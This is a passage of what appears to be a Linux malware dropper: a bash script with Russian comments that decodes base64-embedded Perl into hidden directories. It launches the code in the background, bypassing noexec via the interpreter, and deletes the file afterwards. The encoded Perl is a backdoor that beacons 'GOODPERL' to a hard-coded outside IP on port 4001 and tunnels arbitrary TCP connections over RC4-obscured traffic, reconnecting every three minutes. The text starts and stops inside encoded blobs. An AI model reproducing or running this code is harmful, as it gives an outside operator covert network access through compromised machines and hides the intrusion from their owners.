CAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_253b2eeb() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN